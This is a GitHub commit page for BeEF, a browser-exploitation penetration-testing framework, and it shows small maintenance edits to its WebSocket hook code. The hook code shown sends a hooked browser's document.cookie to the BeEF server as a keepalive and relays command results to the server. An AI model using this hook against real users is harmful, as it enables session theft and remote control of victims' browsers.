Permalink
Browse files

Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7

Corrected Issues whit character encoding
  • Loading branch information...
1 parent c83e7d5 commit 97c2649e3633aa1952bc0048dcb87957350da19b @radoen committed Apr 20, 2012
Showing with 8 additions and 5 deletions.
  1. +1 −2 core/main/client/net.js
  2. +3 −1 core/main/client/websocket.js
  3. +4 −2 core/main/network_stack/websocket/websocket.rb
View
@@ -98,8 +98,7 @@ beef.net = {
//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
this.queue(handler, cid, results, callback);
this.flush();
- console.log("error in send " + e);
- }
+ }
}
},
@@ -21,6 +21,8 @@ beef.websocket = {
socket:null,
+ alive_timer:5000,
+
init:function () {
var webSocketServer = beef.net.host;
var webSocketPort = 11989;
@@ -61,7 +63,7 @@ beef.websocket = {
alive: function (){
beef.websocket.send('{"alive":"'+document.cookie+'"}');
console.log("sent alive");
- setTimeout("beef.websocket.alive()", 5000);
+ setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
}
@@ -53,6 +53,7 @@ def initialize
@@activeSocket["#{messageHash["cookie"]}"] = ws
print_debug("In activesocket we have #{@@activeSocket}")
elsif messageHash["alive"] != nil
+ #@todo browser could be not in bd so we have to add it
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=",""))
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
@@ -62,14 +63,14 @@ def initialize
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
- print_debug("Received from WebSocket #{messageHash}")
+ #print_debug("Received from WebSocket #{messageHash}")
execute(messageHash)
end
end
end
rescue Exception => e
print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}"
- end
+ end
end
}
@@ -100,6 +101,7 @@ def execute (data)
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
+ command_results["data"].force_encoding('UTF-8')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?

0 comments on commit 97c2649

Please sign in to comment.